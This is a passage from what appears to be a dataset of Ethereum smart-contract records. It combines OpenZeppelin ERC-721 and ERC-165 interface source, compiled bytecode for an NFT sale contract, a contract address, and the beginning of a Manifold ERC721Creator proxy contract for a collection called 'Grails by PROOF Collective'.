to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); }
0x60806040526004361061019c5760003560e01c806370a08231116100ec578063aad3ec961161008a578063c87b56dd11610064578063c87b56dd146105b5578063e985e9c5146105f2578063f2fde38b1461062f578063faea173b146106585761019c565b8063aad3ec961461053a578063b88d4fde14610563578063c4e370951461058c5761019c565b80638da5cb5b116100c65780638da5cb5b1461049f57806395d89b41146104ca578063a0712d68146104f5578063a22cb465146105115761019c565b806370a082311461040e578063715018a61461044b5780637dc0bf3f146104625761019c565b806323b872dd1161015957806342842e0e1161013357806342842e0e1461035457806355f804b31461037d5780636352211e146103a65780637080d6fc146103e35761019c565b806323b872dd146102d757806327125748146103005780633ccfd60b1461033d5761019c565b806301ffc9a7146101a157806306fdde03146101de578063081812fc14610209578063095ea7b31461024657806318160ddd1461026f5780631dbeecb31461029a575b600080fd5b3480156101ad57600080fd5b506101c860048036038101906101c3919061246e565b610695565b6040516101d591906124b6565b60405180910390f35b3480156101ea57600080fd5b506101f3610777565b604051610200919061256a565b60405180910390f35b34801561021557600080fd5b50610230600480360381019061022b91906125c2565b610809565b60405161023d9190612630565b60405180910390f35b34801561025257600080fd5b5061026d60048036038101906102689190612677565b61088e565b005b34801561027b57600080fd5b506102846109a6565b60405161029191906126c6565b60405180910390f35b3480156102a657600080fd5b506102c160048036038101906102bc91906125c2565b6109b7565b6040516102ce91906126c6565b60405180910390f35b3480156102e357600080fd5b506102fe60048036038101906102f991906126e1565b6109cf565b005b34801561030c57600080fd5b50610327600480360381019061032291906125c2565b610a2f565b60405161033491906126c6565b60405180910390f35b34801561034957600080fd5b50610352610a53565b005b34801561036057600080fd5b5061037b600480360381019061037691906126e1565b610b1e565b005b34801561038957600080fd5b506103a4600480360381019061039f9190612869565b610b3e565b005b3480156103b257600080fd5b506103cd60048036038101906103c891906125c2565b610bd4565b6040516103da9190612630565b60405180910390f35b3480156103ef57600080fd5b506103f8610c86565b60405161040591906124b6565b60405180910390f35b34801561041a57600080fd5b50610435600480360381019061043091906128b2565b610c99565b60405161044291906126c6565b60405180910390f35b34801561045757600080fd5b50610460610d51565b005b34801561046e57600080fd5b50610489600480360381019061048491906125c2565b610dd9565b60405161049691906126c6565b60405180910390f35b3480156104ab57600080fd5b506104b4610df1565b6040516104c19190612630565b60405180910390f35b3480156104d657600080fd5b506104df610e1b565b6040516104ec919061256a565b60405180910390f35b61050f600480360381019061050a91906125c2565b610ead565b005b34801561051d57600080fd5b506105386004803603810190610533919061290b565b611167565b005b34801561054657600080fd5b50610561600480360381019061055c9190612677565b61117d565b005b34801561056f57600080fd5b5061058a600480360381019061058591906129ec565b611318565b005b34801561059857600080fd5b506105b360048036038101906105ae9190612a6f565b61137a565b005b3480156105c157600080fd5b506105dc60048036038101906105d791906125c2565b611413565b6040516105e9919061256a565b60405180910390f35b3480156105fe57600080fd5b5061061960048036038101906106149190612a9c565b61148f565b60405161062691906124b6565b60405180910390f35b34801561063b57600080fd5b50610656600480360381019061065191906128b2565b611523565b005b34801561066457600080fd5b5061067f600480360381019061067a91906125c2565b61161b565b60405161068c91906126c6565b60405180910390f35b60007f80ac58cd000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916148061076057507f5b5e139f000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916145b80610770575061076f8261163f565b5b9050919050565b60606000805461078690612b0b565b80601f01602080910402602001604051908101604052809291908181526020018280546107b290612b0b565b80156107ff5780601f106107d4576101008083540402835291602001916107ff565b820191906000526020600020905b8154815290600101906020018083116107e257829003601f168201915b5050505050905090565b6000610814826116a9565b610853576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161084a90612baf565b60405180910390fd5b6004600083815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050919050565b600061089982610bd4565b90508073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561090a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161090190612c41565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff16610929611715565b73ffffffffffffffffffffffffffffffffffffffff161480610958575061095781610952611715565b61148f565b5b610997576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161098e90612cd3565b60405180910390fd5b6109a1838361171d565b505050565b60006109b260086117d6565b905090565b600a6020528060005260406000206000915090505481565b6109e06109da611715565b826117e4565b610a1f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a1690612d65565b60405180910390fd5b610a2a8383836118c2565b505050565b600b8181548110610a3f57600080fd5b906000526020600020016000915090505481565b610a5b611715565b73ffffffffffffffffffffffffffffffffffffffff16610a79610df1565b73ffffffffffffffffffffffffffffffffffffffff1614610acf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ac690612dd1565b60405180910390fd5b60004790503373ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015610b1a573d6000803e3d6000fd5b5050565b610b3983838360405180602001604052806000815250611318565b505050565b610b46611715565b73ffffffffffffffffffffffffffffffffffffffff16610b64610df1565b73ffffffffffffffffffffffffffffffffffffffff1614610bba576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bb190612dd1565b60405180910390fd5b80600f9080519060200190610bd092919061235f565b5050565b6000806002600084815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610c7d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c7490612e63565b60405180910390fd5b80915050919050565b601060009054906101000a900460ff1681565b60008073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610d0a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d0190612ef5565b60405180910390fd5b600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610d59611715565b73ffffffffffffffffffffffffffffffffffffffff16610d77610df1565b73ffffffffffffffffffffffffffffffffffffffff1614610dcd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dc490612dd1565b60405180910390fd5b610dd76000611b29565b565b60096020528060005260406000206000915090505481565b6000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060018054610e2a90612b0b565b80601f0160208091040260200160405190810160405280929190818152602001828054610e5690612b0b565b8015610ea35780601f10610e7857610100808354040283529160200191610ea3565b820191906000526020600020905b815481529060010190602001808311610e8657829003601f168201915b5050505050905090565b60026007541415610ef3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610eea90612f61565b60405180910390fd5b6002600781905550601060009054906101000a900460ff16610f4a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f4190612fcd565b60405180910390fd5b600d8181548110610f5e57610f5d612fed565b5b90600052602060002001543414610faa576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fa190613068565b60405180910390fd5b600c8181548110610fbe57610fbd612fed565b5b9060005260206000200154600b8281548110610fdd57610fdc612fed565b5b9060005260206000200154610ff291906130b7565b6001600960008481526020019081526020016000205461101291906130eb565b1115611053576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161104a9061318d565b60405180910390fd5b3273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146110c1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110b8906131f9565b60405180910390fd5b60096000828152602001908152602001600020600081546110e190613219565b919050819055506110f26008611bef565b6000600a6000838152602001908152602001600020546009600084815260200190815260200160002054600e84815481106111305761112f612fed565b5b906000526020600020015461114591906130eb565b61114f91906130eb565b905061115b3382611c05565b50600160078190555050565b611179611172611715565b8383611c23565b5050565b611185611715565b73ffffffffffffffffffffffffffffffffffffffff166111a3610df1565b73ffffffffffffffffffffffffffffffffffffffff16146111f9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111f090612dd1565b60405180910390fd5b600c818154811061120d5761120c612fed565b5b90600052602060002001546001600a60008481526020019081526020016000205461123891906130eb565b1115611279576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112709061318d565b60405180910390fd5b600a60008281526020019081526020016000206000815461129990613219565b919050819055506112aa6008611bef565b6000600a6000838152602001908152602001600020546009600084815260200190815260200160002054600e84815481106112e8576112e7612fed565b5b90600052602060002001546112fd91906130eb565b61130791906130eb565b90506113138382611c05565b505050565b611329611323611715565b836117e4565b611368576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161135f90612d65565b60405180910390fd5b61137484848484611d90565b50505050565b611382611715565b73ffffffffffffffffffffffffffffffffffffffff166113a0610df1565b73ffffffffffffffffffffffffffffffffffffffff16146113f6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113ed90612dd1565b60405180910390fd5b80601060006101000a81548160ff02191690831515021790555050565b606061141e826116a9565b61145d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611454906132d4565b60405180910390fd5b600f61146883611dec565b604051602001611479929190613410565b6040516020818303038152906040529050919050565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16905092915050565b61152b611715565b73ffffffffffffffffffffffffffffffffffffffff16611549610df1565b73ffffffffffffffffffffffffffffffffffffffff161461159f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161159690612dd1565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141561160f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611606906134b1565b60405180910390fd5b61161881611b29565b50565b600d818154811061162b57600080fd5b906000526020600020016000915090505481565b60007f01ffc9a7000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916149050919050565b60008073ffffffffffffffffffffffffffffffffffffffff166002600084815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614159050919050565b600033905090565b816004600083815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550808273ffffffffffffffffffffffffffffffffffffffff1661179083610bd4565b73ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560405160405180910390a45050565b600081600001549050919050565b60006117ef826116a9565b61182e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161182590613543565b60405180910390fd5b600061183983610bd4565b90508073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614806118a857508373ffffffffffffffffffffffffffffffffffffffff1661189084610809565b73ffffffffffffffffffffffffffffffffffffffff16145b806118b957506118b8818561148f565b5b91505092915050565b8273ffffffffffffffffffffffffffffffffffffffff166118e282610bd4565b73ffffffffffffffffffffffffffffffffffffffff1614611938576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161192f906135d5565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156119a8576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161199f90613667565b60405180910390fd5b6119b3838383611f75565b6119be60008261171d565b6001600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611a0e91906130b7565b925050819055506001600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611a6591906130eb565b92505081905550816002600083815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550808273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a4611b24838383611f7a565b505050565b6000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b6001816000016000828254019250508190555050565b611c1f828260405180602001604052806000815250611f7f565b5050565b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611c92576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c89906136d3565b60405180910390fd5b80600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c3183604051611d8391906124b6565b60405180910390a3505050565b611d9b8484846118c2565b611da784848484611fda565b611de6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ddd90613765565b60405180910390fd5b50505050565b60606000821415611e34576040518060400160405280600181526020017f30000000000000000000000000000000000000000000000000000000000000008152509050611f70565b600082905060005b60008214611e66578080611e4f90613219565b915050600a82611e5f91906137b4565b9150611e3c565b60008167ffffffffffffffff811115611e8257611e8161273e565b5b6040519080825280601f01601f191660200182016040528015611eb45781602001600182028036833780820191505090505b50905060008290505b60008614611f6857600181611ed291906130b7565b90506000600a8088611ee491906137b4565b611eee91906137e5565b87611ef991906130b7565b6030611f05919061384c565b905060008160f81b905080848481518110611f2357611f22612fed565b5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a905350600a88611f5f91906137b4565b97505050611ebd565b819450505050505b919050565b505050565b505050565b611f898383612162565b611f966000848484611fda565b611fd5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fcc90613765565b60405180910390fd5b505050565b6000611ffb8473ffffffffffffffffffffffffffffffffffffffff1661233c565b15612155578373ffffffffffffffffffffffffffffffffffffffff1663150b7a02612024611715565b8786866040518563ffffffff1660e01b815260040161204694939291906138d8565b6020604051808303816000875af192505050801561208257506040513d601f19601f8201168201806040525081019061207f9190613939565b60015b612105573d80600081146120b2576040519150601f19603f3d011682016040523d82523d6000602084013e6120b7565b606091505b506000815114156120fd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120f490613765565b60405180910390fd5b805181602001fd5b63150b7a0260e01b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916817bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19161491505061215a565b600190505b949350505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156121d2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121c9906139b2565b60405180910390fd5b6121db816116a9565b1561221b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161221290613a1e565b60405180910390fd5b61222760008383611f75565b6001600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461227791906130eb565b92505081905550816002600083815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550808273ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a461233860008383611f7a565b5050565b6000808273ffffffffffffffffffffffffffffffffffffffff163b119050919050565b82805461236b90612b0b565b90600052602060002090601f01602090048101928261238d57600085556123d4565b82601f106123a657805160ff19168380011785556123d4565b828001600101855582156123d4579182015b828111156123d35782518255916020019190600101906123b8565b5b5090506123e191906123e5565b5090565b5b808211156123fe5760008160009055506001016123e6565b5090565b6000604051905090565b600080fd5b600080fd5b60007fffffffff0000000000000000000000000000000000000000000000000000000082169050919050565b61244b81612416565b811461245657600080fd5b50565b60008135905061246881612442565b92915050565b6000602082840312156124845761248361240c565b5b600061249284828501612459565b91505092915050565b60008115159050919050565b6124b08161249b565b82525050565b60006020820190506124cb60008301846124a7565b92915050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561250b5780820151818401526020810190506124f0565b8381111561251a576000848401525b50505050565b6000601f19601f8301169050919050565b600061253c826124d1565b61254681856124dc565b93506125568185602086016124ed565b61255f81612520565b840191505092915050565b600060208201905081810360008301526125848184612531565b905092915050565b6000819050919050565b61259f8161258c565b81146125aa57600080fd5b50565b6000813590506125bc81612596565b92915050565b6000602082840312156125d8576125d761240c565b5b60006125e6848285016125ad565b91505092915050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061261a826125ef565b9050919050565b61262a8161260f565b82525050565b60006020820190506126456000830184612621565b92915050565b6126548161260f565b811461265f57600080fd5b50565b6000813590506126718161264b565b92915050565b6000806040838503121561268e5761268d61240c565b5b600061269c85828601612662565b92505060206126ad858286016125ad565b9150509250929050565b6126c08161258c565b82525050565b60006020820190506126db60008301846126b7565b92915050565b6000806000606084860312156126fa576126f961240c565b5b600061270886828701612662565b935050602061271986828701612662565b925050604061272a868287016125ad565b9150509250925092565b600080fd5b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b61277682612520565b810181811067ffffffffffffffff821117156127955761279461273e565b5b80604052505050565b60006127a8612402565b90506127b4828261276d565b919050565b600067ffffffffffffffff8211156127d4576127d361273e565b5b6127dd82612520565b9050602081019050919050565b82818337600083830152505050565b600061280c612807846127b9565b61279e565b90508281526020810184848401111561282857612827612739565b5b6128338482856127ea565b509392505050565b600082601f8301126128505761284f612734565b5b81356128608482602086016127f9565b91505092915050565b60006020828403121561287f5761287e61240c565b5b600082013567ffffffffffffffff81111561289d5761289c612411565b5b6128a98482850161283b565b91505092915050565b6000602082840312156128c8576128c761240c565b5b60006128d684828501612662565b91505092915050565b6128e88161249b565b81146128f357600080fd5b50565b600081359050612905816128df565b92915050565b600080604083850312156129225761292161240c565b5b600061293085828601612662565b9250506020612941858286016128f6565b9150509250929050565b600067ffffffffffffffff8211156129665761296561273e565b5b61296f82612520565b9050602081019050919050565b600061298f61298a8461294b565b61279e565b9050828152602081018484840111156129ab576129aa612739565b5b6129b68482856127ea565b509392505050565b600082601f8301126129d3576129d2612734565b5b81356129e384826020860161297c565b91505092915050565b60008060008060808587031215612a0657612a0561240c565b5b6000612a1487828801612662565b9450506020612a2587828801612662565b9350506040612a36878288016125ad565b925050606085013567ffffffffffffffff811115612a5757612a56612411565b5b612a63878288016129be565b91505092959194509250565b600060208284031215612a8557612a8461240c565b5b6000612a93848285016128f6565b91505092915050565b60008060408385031215612ab357612ab261240c565b5b6000612ac185828601612662565b9250506020612ad285828601612662565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680612b2357607f821691505b60208210811415612b3757612b36612adc565b5b50919050565b7f4552433732313a20617070726f76656420717565727920666f72206e6f6e657860008201527f697374656e7420746f6b656e0000000000000000000000000000000000000000602082015250565b6000612b99602c836124dc565b9150612ba482612b3d565b604082019050919050565b60006020820190508181036000830152612bc881612b8c565b9050919050565b7f4552433732313a20617070726f76616c20746f2063757272656e74206f776e6560008201527f7200000000000000000000000000000000000000000000000000000000000000602082015250565b6000612c2b6021836124dc565b9150612c3682612bcf565b604082019050919050565b60006020820190508181036000830152612c5a81612c1e565b9050919050565b7f4552433732313a20617070726f76652063616c6c6572206973206e6f74206f7760008201527f6e6572206e6f7220617070726f76656420666f7220616c6c0000000000000000602082015250565b6000612cbd6038836124dc565b9150612cc882612c61565b604082019050919050565b60006020820190508181036000830152612cec81612cb0565b9050919050565b7f4552433732313a207472616e736665722063616c6c6572206973206e6f74206f60008201527f776e6572206e6f7220617070726f766564000000000000000000000000000000602082015250565b6000612d4f6031836124dc565b9150612d5a82612cf3565b604082019050919050565b60006020820190508181036000830152612d7e81612d42565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000612dbb6020836124dc565b9150612dc682612d85565b602082019050919050565b60006020820190508181036000830152612dea81612dae565b9050919050565b7f4552433732313a206f776e657220717565727920666f72206e6f6e657869737460008201527f656e7420746f6b656e0000000000000000000000000000000000000000000000602082015250565b6000612e4d6029836124dc565b9150612e5882612df1565b604082019050919050565b60006020820190508181036000830152612e7c81612e40565b9050919050565b7f4552433732313a2062616c616e636520717565727920666f7220746865207a6560008201527f726f206164647265737300000000000000000000000000000000000000000000602082015250565b6000612edf602a836124dc565b9150612eea82612e83565b604082019050919050565b60006020820190508181036000830152612f0e81612ed2565b9050919050565b7f5265656e7472616e637947756172643a207265656e7472616e742063616c6c00600082015250565b6000612f4b601f836124dc565b9150612f5682612f15565b602082019050919050565b60006020820190508181036000830152612f7a81612f3e565b9050919050565b7f73616c6520696e61637469766500000000000000000000000000000000000000600082015250565b6000612fb7600d836124dc565b9150612fc282612f81565b602082019050919050565b60006020820190508181036000830152612fe681612faa565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f496e73756666696369656e742066756e64730000000000000000000000000000600082015250565b60006130526012836124dc565b915061305d8261301c565b602082019050919050565b6000602082019050818103600083015261308181613045565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006130c28261258c565b91506130cd8361258c565b9250828210156130e0576130df613088565b5b828203905092915050565b60006130f68261258c565b91506131018361258c565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561313657613135613088565b5b828201905092915050565b7f4e6f7420656e6f75676820746f6b656e73206c65667400000000000000000000600082015250565b60006131776016836124dc565b915061318282613141565b602082019050919050565b600060208201905081810360008301526131a68161316a565b9050919050565b7f496e746572616374696f6e206e6f7420616c6c6f776564000000000000000000600082015250565b60006131e36017836124dc565b91506131ee826131ad565b602082019050919050565b60006020820190508181036000830152613212816131d6565b9050919050565b60006132248261258c565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561325757613256613088565b5b600182019050919050565b7f4552433732314d657461646174613a2055524920717565727920666f72206e6f60008201527f6e6578697374656e7420746f6b656e0000000000000000000000000000000000602082015250565b60006132be602f836124dc565b91506132c982613262565b604082019050919050565b600060208201905081810360008301526132ed816132b1565b9050919050565b600081905092915050565b60008190508160005260206000209050919050565b6000815461332181612b0b565b61332b81866132f4565b9450600182166000811461334657600181146133575761338a565b60ff1983168652818601935061338a565b613360856132ff565b60005b8381101561338257815481890152600182019150602081019050613363565b838801955050505b50505092915050565b600061339e826124d1565b6133a881856132f4565b93506133b88185602086016124ed565b80840191505092915050565b7f2e6a736f6e000000000000000000000000000000000000000000000000000000600082015250565b60006133fa6005836132f4565b9150613405826133c4565b600582019050919050565b600061341c8285613314565b91506134288284613393565b9150613433826133ed565b91508190509392505050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b600061349b6026836124dc565b91506134a68261343f565b604082019050919050565b600060208201905081810360008301526134ca8161348e565b9050919050565b7f4552433732313a206f70657261746f7220717565727920666f72206e6f6e657860008201527f697374656e7420746f6b656e0000000000000000000000000000000000000000602082015250565b600061352d602c836124dc565b9150613538826134d1565b604082019050919050565b6000602082019050818103600083015261355c81613520565b9050919050565b7f4552433732313a207472616e736665722066726f6d20696e636f72726563742060008201527f6f776e6572000000000000000000000000000000000000000000000000000000602082015250565b60006135bf6025836124dc565b91506135ca82613563565b604082019050919050565b600060208201905081810360008301526135ee816135b2565b9050919050565b7f4552433732313a207472616e7366657220746f20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b60006136516024836124dc565b915061365c826135f5565b604082019050919050565b6000602082019050818103600083015261368081613644565b9050919050565b7f4552433732313a20617070726f766520746f2063616c6c657200000000000000600082015250565b60006136bd6019836124dc565b91506136c882613687565b602082019050919050565b600060208201905081810360008301526136ec816136b0565b9050919050565b7f4552433732313a207472616e7366657220746f206e6f6e20455243373231526560008201527f63656976657220696d706c656d656e7465720000000000000000000000000000602082015250565b600061374f6032836124dc565b915061375a826136f3565b604082019050919050565b6000602082019050818103600083015261377e81613742565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006137bf8261258c565b91506137ca8361258c565b9250826137da576137d9613785565b5b828204905092915050565b60006137f08261258c565b91506137fb8361258c565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561383457613833613088565b5b828202905092915050565b600060ff82169050919050565b60006138578261383f565b91506138628361383f565b92508260ff0382111561387857613877613088565b5b828201905092915050565b600081519050919050565b600082825260208201905092915050565b60006138aa82613883565b6138b4818561388e565b93506138c48185602086016124ed565b6138cd81612520565b840191505092915050565b60006080820190506138ed6000830187612621565b6138fa6020830186612621565b61390760408301856126b7565b8181036060830152613919818461389f565b905095945050505050565b60008151905061393381612442565b92915050565b60006020828403121561394f5761394e61240c565b5b600061395d84828501613924565b91505092915050565b7f4552433732313a206d696e7420746f20746865207a65726f2061646472657373600082015250565b600061399c6020836124dc565b91506139a782613966565b602082019050919050565b600060208201905081810360008301526139cb8161398f565b9050919050565b7f4552433732313a20746f6b656e20616c7265616479206d696e74656400000000600082015250565b6000613a08601c836124dc565b9150613a13826139d2565b602082019050919050565b60006020820190508181036000830152613a37816139fb565b905091905056fea2646970667358221220bfc714205c90c2b3b025ce6601fa71e6c2cfd476cade43f51e2f030fe06cb9f864736f6c634300080a0033
[ 4, 5 ]
0xf206a45be821a27ebe4c1c3e51e871031c3e6b8d
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /// @title: Grails by PROOF Collective /// @author: manifold.xyz import "./ERC721Creator.sol"; ////////////////////////// // // // // // adasdasdasdasd // // // // // ////////////////////////// contract M2 is ERC721Creator { constructor() ERC721Creator("Grails by PROOF Collective", "M2") {} } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /// @author: manifold.xyz import "@openzeppelin/contracts/proxy/Proxy.sol"; import "@openzeppelin/contracts/utils/Address.sol"; import "@openzeppelin/contracts/utils/StorageSlot.sol"; contract ERC721Creator is Proxy { constructor(string memory name, string memory symbol) { assert(_IMPLEMENTATION_SLOT == bytes32(uint256(keccak256("eip1967.proxy.implementation")) - 1)); StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = 0xe4E4003afE3765Aca8149a82fc064C0b125B9e5a; Address.functionDelegateCall( 0xe4E4003afE3765Aca8149a82fc064C0b125B9e5a, abi.encodeWithSignature("initialize(string,string)", name, symbol) ); } /** * @dev Storage slot with the address of the current implementation. * This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is * validated in the constructor. */ bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; /** * @dev Returns the current implementation address. */ function implementation() public view returns (address) { return _implementation(); } function _implementation() internal 